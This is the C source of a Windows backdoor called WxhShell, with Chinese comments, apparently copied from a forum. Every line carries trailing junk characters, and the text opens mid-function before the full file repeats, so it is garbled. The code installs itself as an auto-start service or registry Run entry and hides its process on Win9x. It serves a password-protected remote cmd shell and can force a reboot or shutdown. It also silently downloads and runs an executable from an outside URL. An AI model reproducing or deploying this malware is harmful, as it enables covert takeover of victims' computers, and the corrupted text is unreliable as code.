    if(Boot(SHUTDOWN)) ?#8s=t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (f^K\7HM  
    else { n$*'J9W~  
    closesocket(wsh); W2F %E  
    ExitThread(0); :EISms  
    } ?mK`Wleh?  
    break; AeqxH1%  
    } Z/-!-  
  // 获取shell pU4 B6KTW  
  case 's': { O\64)V 0  
    CmdShell(wsh); k{/2vV[`]  
    closesocket(wsh); {xm^DT  
    ExitThread(0); +gG6(7&+=  
    break; V@0Z\&  
  } &></l| hY  
  // 退出 !$&3h-l[  
  case 'x': { Z7<N<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;:nO5VFOg  
    CloseIt(wsh); t7rz]EN  
    break; dF$Fd{\4^  
    } $Ik\^:-  
  // 离开 /( /)nYAjk  
  case 'q': { By|y:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c=U1/=R5  
    closesocket(wsh); C F2*W).+  
    WSACleanup(); nVqFCBB  
    exit(1); -r9G5Z!|n  
    break; x0ZEVa0`4  
        } p{knQ],   
  } E\5cb[Y  
  } ':kj\$U  
DwXzmp[qWH  
  // 提示信息 (fc /"B-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r-#23iT.~  
} f)xHSF"  
  } gDP\u<2!  
^^[MDjNy@  
  return; O]OZt,k(  
} }MKm>N  
k<xiP@b{y  
// shell模块句柄 4{Vw30DZ  
int CmdShell(SOCKET sock) 6e1/h@p\7  
{ %4:tRF  
STARTUPINFO si; 7/.-dfEK  
ZeroMemory(&si,sizeof(si)); u:+wuyu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aB9Pdu t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?UAB}CjY  
PROCESS_INFORMATION ProcessInfo; *5$$C&@o9  
char cmdline[]="cmd"; M<t>jM@'A#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,LjB%f[  
  return 0; xP<cF  
} <Z^t^ O  
w$~|/UrLf  
// 自身启动模式 $`:/O A<.  
int StartFromService(void) &8R%W"<K  
{ <(Ub(  
typedef struct "]}+QK_  
{ -ec ~~95  
  DWORD ExitStatus; bP%0T++vo  
  DWORD PebBaseAddress; Hcw@24ic  
  DWORD AffinityMask; |A_yr/f  
  DWORD BasePriority; Xp <RG p7E  
  ULONG UniqueProcessId; wv>uT{g#  
  ULONG InheritedFromUniqueProcessId; Z~}=q  
}   PROCESS_BASIC_INFORMATION; M{S7tMX  
_ukKzY  
PROCNTQSIP NtQueryInformationProcess; 5b9v`6Kq  
-(FVTWi0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \BC|`)0h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h>,yqiY4p  
k,>sBk 8  
  HANDLE             hProcess; A~ugx~S0  
  PROCESS_BASIC_INFORMATION pbi; .YquOCc(  
\>NjeMuWU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SRq0y,d  
  if(NULL == hInst ) return 0; 4e d+'-"m  
"R-1 G/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PJu)%al  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yZ t}Jnv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "|{O%X  
pqPhtWi%PJ  
  if (!NtQueryInformationProcess) return 0; xX l^\?HC  
CybHr#LBc  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K9co_n_L  
  if(!hProcess) return 0; K29]B~0%E  
BJDe1W3;'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9.R)iA  
@; ayl  
  CloseHandle(hProcess); w=Xil  
nA%H`/O{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WAlsh  
if(hProcess==NULL) return 0; pyZ&[ *@  
$a(EF 6  
HMODULE hMod; +OkR7bl  
char procName[255]; '`^<*;w  
unsigned long cbNeeded; BBy"qkTe  
1bb~u/jU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H"W%+{AR  
$FEG0&  
  CloseHandle(hProcess); U@v=q9'W  
y?W8FL  
if(strstr(procName,"services")) return 1; // 以服务启动 '|n-w\ >Wv  
Hw8`/'M=%5  
  return 0; // 注册表启动 cF_hU"  
} n|F$qV_p\  
HqXaT6#/  
// 主模块 b]hP;QK`U$  
int StartWxhshell(LPSTR lpCmdLine) 2`,{IHu*!  
{ \?)@ #Qs  
  SOCKET wsl; 6P;JF%{J  
BOOL val=TRUE; N<ww&GXBX  
  int port=0; \k;)m-0bj{  
  struct sockaddr_in door; ou6|;*>d  
l+S08IZ  
  if(wscfg.ws_autoins) Install(); ^+cf  
)`]w\s #  
port=atoi(lpCmdLine); UPgjf  
R iid,n  
if(port<=0) port=wscfg.ws_port; IGs!SXclCs  
C,:3z  
  WSADATA data; Oa=0d;_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o|G.tBpKg  
N?0T3-/K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5!,`LM9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w@Ut[ ;6^  
  door.sin_family = AF_INET; )}\T~#Q]y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +.MHI   
  door.sin_port = htons(port); Gc}d#oo*k  
aloP@U/\Sn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D^P_3 B+  
closesocket(wsl); w~sr2;rp<  
return 1; PNgj 8J4  
} Kxb_9y0`r  
DPI iGRw  
  if(listen(wsl,2) == INVALID_SOCKET) { >_h*N H  
closesocket(wsl); vsg"!y@v  
return 1; rWI6L3,i+  
} L}CjC>R!  
  Wxhshell(wsl); cMxTv4|wui  
  WSACleanup(); OL&ku &J_  
g&;:[&% T]  
return 0; "Q]`~u':  
T:S+P t~  
} U.UN=uv_  
\M1-  
// 以NT服务方式启动 F n4i[|W42  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G^J|_!.a  
{ YuXq   
DWORD   status = 0; 'cJHOd  
  DWORD   specificError = 0xfffffff; hb7H- Z2  
4)ez0[i$X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I?@9;0R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; SUxz &xH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +/*,%TdQ4  
  serviceStatus.dwWin32ExitCode     = 0; \'6hv>W@  
  serviceStatus.dwServiceSpecificExitCode = 0; +4EQ9-  
  serviceStatus.dwCheckPoint       = 0; ve_TpP  
  serviceStatus.dwWaitHint       = 0; 1i:l  
Js[dT|>.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9.f/d4  
  if (hServiceStatusHandle==0) return; h\afO  
K"-.K]O8E%  
status = GetLastError(); <zH24[  
  if (status!=NO_ERROR) fQq'_q5  
{ DQY*0\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u-0-~TwD  
    serviceStatus.dwCheckPoint       = 0; !\.x7N<)0  
    serviceStatus.dwWaitHint       = 0; *j RNpB{)z  
    serviceStatus.dwWin32ExitCode     = status; UOy9N  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?n9gqwO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qc-jOl  
    return; _] veTAV  
  }  U=MFNp+  
Z?Y14L~%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Hzh?w!Ow  
  serviceStatus.dwCheckPoint       = 0; ,-#8/9ts  
  serviceStatus.dwWaitHint       = 0; B$"CoLC7+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F ?xbVN  
} jHq.W95+P  
hb'S!N5m  
// 处理NT服务事件,比如:启动、停止 &m_4#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .zO/8y(@  
{ \wqi_[A  
switch(fdwControl) &wr0HrE\  
{ ^@e4m O  
case SERVICE_CONTROL_STOP: s0 hD;`cm  
  serviceStatus.dwWin32ExitCode = 0; pTPWToKh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I5PI;t+  
  serviceStatus.dwCheckPoint   = 0; ZG>I[V'p=  
  serviceStatus.dwWaitHint     = 0; E$dPu  
  { VeidB!GyP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cLn&b}8'  
  } ~#+ Hhc(  
  return; JSCe86a7<E  
case SERVICE_CONTROL_PAUSE: hDI_qZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0@ []l{N  
  break; #@Yw]@5M  
case SERVICE_CONTROL_CONTINUE: uH S)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; B B*]" gT  
  break; wB~Ag$~  
case SERVICE_CONTROL_INTERROGATE: 6Pc3;X~  
  break; $-'p6^5  
}; tb#. Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5SKj% %B2,  
} :clMO|  
xG i,\K\:  
// 标准应用程序主函数 CL oc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +@>K]hdr  
{ 9T#d.c24  
o_hk!s^4m  
// 获取操作系统版本 =NxT9$V  
OsIsNt=GetOsVer(); zsnXPRF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WVlyR\.  
GF[onfQY7  
  // 从命令行安装 $ \0)~cy  
  if(strpbrk(lpCmdLine,"iI")) Install(); X@JrfvKv[d  
Kk|uN#m  
  // 下载执行文件 /ghXI"ChI  
if(wscfg.ws_downexe) { +HvEiY  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^6tGj+D9  
  WinExec(wscfg.ws_filenam,SW_HIDE); :=!?W^J  
} jy#'oadS?  
z)N8#Y~vn  
if(!OsIsNt) { |9c J O@  
// 如果时win9x,隐藏进程并且设置为注册表启动 }_m/3*x_  
HideProc(); ]G m"U!h*  
StartWxhshell(lpCmdLine); LRl2@&z<  
} @%mJw u  
else YD1 :m3l!  
  if(StartFromService()) X,dOF=OJL  
  // 以服务方式启动 iX,| ;J|]  
  StartServiceCtrlDispatcher(DispatchTable); v.Wkz9 w}  
else seO7/h_a  
  // 普通方式启动 f&x7g.I  
  StartWxhshell(lpCmdLine); D  /wX  
`{BY {  
return 0; = rDoXm  
} co^kP##Y  
* 0M[lR0t  
dNd(57  
\=3V]7\&  
=========================================== . Z 93S|q  
NJ\ID=3l  
Jb+cC)(  
TV#X@jQ  
rbfP6t:c3  
NVqJN$z  
" ^5n"L2 9V  
}cUq1r-bW  
#include <stdio.h> ghtvAG  
#include <string.h> fHK`u'  
#include <windows.h> #qqIOjS^w  
#include <winsock2.h> I6!~(ND7  
#include <winsvc.h> M}Sn$h_  
#include <urlmon.h> {uVvo=3  
l!z)gto  
#pragma comment (lib, "Ws2_32.lib") |Et8FR3[m  
#pragma comment (lib, "urlmon.lib") \/E+nn\)  
M'gw-^(  
#define MAX_USER   100 // 最大客户端连接数 A#/O~-O^  
#define BUF_SOCK   200 // sock buffer );-?~   
#define KEY_BUFF   255 // 输入 buffer RlJt+lnV  
?J[m)Uo/ K  
#define REBOOT     0   // 重启 "_!D b&AH  
#define SHUTDOWN   1   // 关机 GZ xG!r -  
3^NHV g  
#define DEF_PORT   5000 // 监听端口 BC|=-^(  
h+ixl#:  
#define REG_LEN     16   // 注册表键长度 x93t.5E6  
#define SVC_LEN     80   // NT服务名长度 6@ B_3y  
7{0;<@  
// 从dll定义API ?4p\ujc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wB%:RI,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,T:Uk*Bj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q7u/k$qN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i|5.DhK}  
{p -q&k&R|  
// wxhshell配置信息 J@$h'YUF  
struct WSCFG { -qv*%O@  
  int ws_port;         // 监听端口 <0R$yB  
  char ws_passstr[REG_LEN]; // 口令 -%R3YU3  
  int ws_autoins;       // 安装标记, 1=yes 0=no -nM=^ i4)  
  char ws_regname[REG_LEN]; // 注册表键名 PHZ+u@AA6@  
  char ws_svcname[REG_LEN]; // 服务名 {,V.IDs8[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %+BiN)R*x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~MuD`a7#G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L-J 7z+{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no aNd6# yU$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A5U//y![{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S}QvG&c  
\53(D7+  
}; O{YT6&.S0  
-|Z[GN:  
// default Wxhshell configuration #j!RbW  
struct WSCFG wscfg={DEF_PORT, V5ve  
    "xuhuanlingzhe", ST'eJ5P7!5  
    1, ^ud-N;]MKs  
    "Wxhshell", T'W)RYnwl  
    "Wxhshell", ,0j7qn@tm  
            "WxhShell Service", =rH' \7T  
    "Wrsky Windows CmdShell Service", dXwfOC\\  
    "Please Input Your Password: ", o|r8x_!+  
  1, gzV&S5A{_  
  "http://www.wrsky.com/wxhshell.exe", xLZJ[:gr  
  "Wxhshell.exe" kBF.TGT[l  
    }; +OEheG8  
'MF|(`  
// 消息定义模块 ^t p6G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (T&rvE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yiourR)H<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uP;qs8  
char *msg_ws_ext="\n\rExit."; R ;XG2  
char *msg_ws_end="\n\rQuit."; by*?PhfF  
char *msg_ws_boot="\n\rReboot..."; V?_:-!NJ(  
char *msg_ws_poff="\n\rShutdown..."; 3 VNPdXsh  
char *msg_ws_down="\n\rSave to "; ]'  ck!eG  
i -kj6N5  
char *msg_ws_err="\n\rErr!"; ^a,Oi%  
char *msg_ws_ok="\n\rOK!"; 3mmp5 d  
}vx+/J  
char ExeFile[MAX_PATH]; fLGZ@-qA0  
int nUser = 0; pv LA:LW2  
HANDLE handles[MAX_USER]; ^v5v7\!  
int OsIsNt; }MW7,F  
*?l-:bc]  
SERVICE_STATUS       serviceStatus; l*l?aI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6R`q{}.  
B<V8:vOam  
// 函数声明 KM'*+.I  
int Install(void); VaV(+X  
int Uninstall(void); |+-D@22 y  
int DownloadFile(char *sURL, SOCKET wsh); *O5Ysk^|  
int Boot(int flag); *F4"mr|\  
void HideProc(void); yX`5x^wVw  
int GetOsVer(void); "xr=:[n[  
int Wxhshell(SOCKET wsl); -XuRQ_)nG  
void TalkWithClient(void *cs); .zm/GtOV@  
int CmdShell(SOCKET sock); `]u!4pP"  
int StartFromService(void); /"q wC  
int StartWxhshell(LPSTR lpCmdLine); AbqeZn  
4y: pj7h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L4Nn:9b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); te<lCD6  
zYCS K~-GW  
// 数据结构和表定义 NZ{)&ObBRt  
SERVICE_TABLE_ENTRY DispatchTable[] = .()|0A B&g  
{ 6jDHA3  
{wscfg.ws_svcname, NTServiceMain}, 'MWu2L!F  
{NULL, NULL} XWuHH;~*L  
}; VLL CdZ%  
pbXh}YJ&  
// 自我安装 )qbjX{GZ7  
int Install(void) -gq,^j5,  
{ |(evDS5  
  char svExeFile[MAX_PATH]; Tgf\f%,h  
  HKEY key; `l%)0)T  
  strcpy(svExeFile,ExeFile); m|/q o  
g`n5-D@3  
// 如果是win9x系统,修改注册表设为自启动 Z?@oe-mz  
if(!OsIsNt) { :gwM$2vv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VKZZTFmV2)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fN|'aq*Pd  
  RegCloseKey(key); F4b$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {   (4GDh%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6g6BE^o\  
  RegCloseKey(key); PfrzrRahb  
  return 0; T09'qB  
    } QDHTP|2e  
  } {S$]I)tV  
} mdNIC  
else { s MZ90Q$  
m-wK8]t9  
// 如果是NT以上系统,安装为系统服务 X~o6Xkg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Rr%CP[bH  
if (schSCManager!=0) [$x&J6jF.  
{ ^!FLi7X  
  SC_HANDLE schService = CreateService .XZq6iF9  
  ( l`mNOQ@}'  
  schSCManager, 8Ry%HV9VE  
  wscfg.ws_svcname, >508-)'  
  wscfg.ws_svcdisp, SJ%h.u@&@F  
  SERVICE_ALL_ACCESS, (X{o =co,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , llK7~uOC  
  SERVICE_AUTO_START, H1fKe=$1  
  SERVICE_ERROR_NORMAL, cYeC7l "  
  svExeFile, N -z  
  NULL, ~LG<Uu  
  NULL, nS` :)#;  
  NULL, ;WP%)Z  
  NULL, 8*7,qX  
  NULL l5/!0]/  
  ); pWm==Ds|  
  if (schService!=0) Wcf;ZX  
  { NB.s2I7  
  CloseServiceHandle(schService); !k}]`z^d  
  CloseServiceHandle(schSCManager); GKg&lM!O$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lx H3a :gm  
  strcat(svExeFile,wscfg.ws_svcname); [S:{$4&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^C|N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @dHQ}Ni  
  RegCloseKey(key); tD j/!L`  
  return 0; kc:>[{9  
    } [" PRxl  
  } YD@n8?~$$  
  CloseServiceHandle(schSCManager); b" PRa|]  
} 7`pK=E}+  
} =[D '3JB  
QI WfGVc-  
return 1; EyK F5TP0  
} Ia%S=xU{=  
"BvAiT{u  
// 自我卸载 3[UB3F 4K  
int Uninstall(void) i2y E-sgF  
{ u|Tg*B  
  HKEY key; /4 M~ 6LT`  
$:u5XJx  
if(!OsIsNt) { j` 5K7~hv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mh :eUFe  
  RegDeleteValue(key,wscfg.ws_regname); Fu$JI8  
  RegCloseKey(key); huTWoMU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n]< >$  
  RegDeleteValue(key,wscfg.ws_regname); Xf/qUao  
  RegCloseKey(key); _Z0O]>KH  
  return 0; #[ TOe  
  } )r`F}_CEL  
} 8w\ZY>d   
} *f*o ,~8V1  
else { \-nbV#{  
1R"?X'w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H]<@\g*l@P  
if (schSCManager!=0) >J['so2Bf  
{ RK\$>KFE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nN*:"F/^  
  if (schService!=0) av:9kPKm  
  { `;v5o4.`  
  if(DeleteService(schService)!=0) { T@?uA*J  
  CloseServiceHandle(schService); C#tY};t  
  CloseServiceHandle(schSCManager); 277Am*2  
  return 0; H"vy[/UcR  
  } [39  
  CloseServiceHandle(schService); YkJnZ_k/P  
  } Ra-%,cS  
  CloseServiceHandle(schSCManager); RKtU@MX49  
} %kXg|9Bx!  
} Y| 2Gj(*8  
5m\T~[`%  
return 1; +m]Kj3-z@  
} ;+NU;f/WM  
fZNWJo# `.  
// 从指定url下载文件 %VsIg  
int DownloadFile(char *sURL, SOCKET wsh) NA-)7i*>J  
{ ^E}};CsT  
  HRESULT hr; LmjzH@3  
char seps[]= "/"; ;cfmMt!QWJ  
char *token; aS)Gj?Odf  
char *file; W*jwf@ 0  
char myURL[MAX_PATH]; 4lsg%b6_%,  
char myFILE[MAX_PATH]; 3?Tk[m1b  
rL3 f%L  
strcpy(myURL,sURL); M # ) @!  
  token=strtok(myURL,seps); .j l|? o  
  while(token!=NULL) tMOhH #  
  { D%,AdR"m  
    file=token; fKQq]&~ H  
  token=strtok(NULL,seps); Q3P*&6wA  
  } >u/ T`$  
;RW0 24  
GetCurrentDirectory(MAX_PATH,myFILE); N~0~1 WQn  
strcat(myFILE, "\\"); N[j*Q 8X_  
strcat(myFILE, file); a%NSL6  
  send(wsh,myFILE,strlen(myFILE),0); 0sGAC  
send(wsh,"...",3,0); G Z~W#*|V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {OGv1\ol&  
  if(hr==S_OK) k]] e8>  
return 0; pdEUDuX  
else "+k^8ki  
return 1; wzNGL{3  
IWs)n1D*]  
} ;Q8LA",5d  
e>~7RN  
// 系统电源模块 Puodsd  
int Boot(int flag) x17K8De  
{ Kq4b`cn{_  
  HANDLE hToken; K'u66%wAL  
  TOKEN_PRIVILEGES tkp; }35HKgqX  
s:f%=4-7  
  if(OsIsNt) { si,W.9rU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SO8b~N  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m{{ 8#@g  
    tkp.PrivilegeCount = 1; F?*ko,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JR^#NefJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); yf@DaIG  
if(flag==REBOOT) {  Unc_e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `p\@b~GM  
  return 0; Lq cHsUFj  
} Di>B:=  
else { /+g)J0u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Lcow2 SbH  
  return 0; A{,ZfX;SPO  
}  PH6NU&H  
  } au~}s |#  
  else { ~uRL+<.c  
if(flag==REBOOT) { 4!)=!sL ;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2oFbS%OV  
  return 0; o5`LLVif5y  
} lq*{2M{[  
else { 8-uRn38  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y>i5ubR~  
  return 0; b@?pofZ`k  
} vzPuk|q3  
} c2fqueK|:W  
e A'1  
return 1; p"k[ac{  
} MbJ|6g99  
,bnrVa(I  
// win9x进程隐藏模块 4b<>gpQ  
void HideProc(void) K! e51P  
{ Ubf@"B  
'3eL^Aq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z&[_8Y5j  
  if ( hKernel != NULL ) 9:1[4o)~  
  { ~ u',Way  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Tn"/EO^N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T2p;#)dP  
    FreeLibrary(hKernel); ),;O3:n  
  } 8DO3L "  
;[R#:Rk  
return; 8 bpYop7 L  
} 7f,!xh$  
2SHS!6:Rl  
// 获取操作系统版本 O;m@fS2%3  
int GetOsVer(void) "GY/2;  
{ j8 |N;;MN  
  OSVERSIONINFO winfo; {IR-g,B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Qqn9nO9  
  GetVersionEx(&winfo); q{E44 eQ7F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w/UZ6fu  
  return 1; J_ y+.p- 5  
  else 9fQFsI  
  return 0; 3sF^6<E  
} hCFgZiH2  
[8$K i$;  
// 客户端句柄模块  QnN cGH  
int Wxhshell(SOCKET wsl) M# a1ev  
{ 1xsIM'&  
  SOCKET wsh; s%xhT  
  struct sockaddr_in client; e_Un:r@)  
  DWORD myID; 6L4<c+v_  
B?pNF+?'z  
  while(nUser<MAX_USER) T**v!Ls  
{ 4Ow0g-{  
  int nSize=sizeof(client); K|^'`FpPO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /@qnEP%  
  if(wsh==INVALID_SOCKET) return 1; 5kbbeO|0G  
W< sa6,$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (W'.vEl  
if(handles[nUser]==0) iB0#Z_  
  closesocket(wsh); M*n@djL$\~  
else _&xi})E^O]  
  nUser++; *Tyr  
  }  66 @#V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I`-N]sf^  
Li8$Rb~q  
  return 0; &K@ RTgb  
} mNDz|Ln  
Ap)[;_9BD  
// 关闭 socket &U7INUL  
void CloseIt(SOCKET wsh) waRK$/b (  
{ v62O+{  
closesocket(wsh); Z36C7 kw  
nUser--; 7 S 6@[-E  
ExitThread(0); &upM,Jsr*  
} CYFi_6MFl  
/t"F Z#  
// 客户端请求句柄 ~8l(,N0  
void TalkWithClient(void *cs) vn"+x_  
{ p^>_VE[S  
Pua| Z x  
  SOCKET wsh=(SOCKET)cs; {>rGe#Vu  
  char pwd[SVC_LEN]; 6G0Y,B7&  
  char cmd[KEY_BUFF]; ?CU6RC n  
char chr[1]; Ww)p&don  
int i,j; yDe6f(D  
pB0p?D)n  
  while (nUser < MAX_USER) { O~~WP*N  
RF$2p4=[  
if(wscfg.ws_passstr) { |X6/Y@N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .,+TpP kc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4M,Q{G|e  
  //ZeroMemory(pwd,KEY_BUFF); *}<Uh'?  
      i=0; 0tb%h[%,M  
  while(i<SVC_LEN) { +0Z,#b  
J,SP1-L  
  // 设置超时 ]qpLaBD  
  fd_set FdRead; e:uk``\  
  struct timeval TimeOut; ~dz,eB  
  FD_ZERO(&FdRead); 2uZ4$_  
  FD_SET(wsh,&FdRead); fWk,k*Z 9  
  TimeOut.tv_sec=8; ta+MH,  
  TimeOut.tv_usec=0; :XFr"aSt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !9p;%Ny`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AS? ESDC  
'JK"3m}nT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kfj)`x  
  pwd=chr[0]; X"Ca  
  if(chr[0]==0xd || chr[0]==0xa) { dgp1B\  
  pwd=0; ($or@lfs  
  break; Vl\8*!OL%  
  } M%(^GdI#Vf  
  i++; #ExNiFZ  
    } ms%RNxU4:  
hteAuz4H  
  // 如果是非法用户,关闭 socket UYw=i4J'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <reALC  
} 0Fc^c[  
0ub0 [A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0aM&+j\q}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^I y'G44  
6 @A'N(I=O  
while(1) { Mv?$zV"`#  
w Sd|-e  
  ZeroMemory(cmd,KEY_BUFF); ;Y9-0W  
?[VL 2dP0  
      // 自动支持客户端 telnet标准   #UesXv  
  j=0; &m=73 RN  
  while(j<KEY_BUFF) { {16]8-pe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R(AS$<p{!>  
  cmd[j]=chr[0]; h ]6: `5-  
  if(chr[0]==0xa || chr[0]==0xd) { H~:EPFi.(  
  cmd[j]=0; Y!qn[,q8  
  break; r7^oqEp@B  
  } $H8B%rT]  
  j++; 1tIJ'#6  
    } 4^(aG7  
YG_|L[/#  
  // 下载文件 Q&]f9j_  
  if(strstr(cmd,"http://")) { -qqI @+u+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G0~6A@>  
  if(DownloadFile(cmd,wsh)) /N9ct4 {^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [JVEKc ym  
  else !*e1F9k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c4V%>A  
  } CuT50N;tk  
  else { kt2W7.A 5  
of=N+ W  
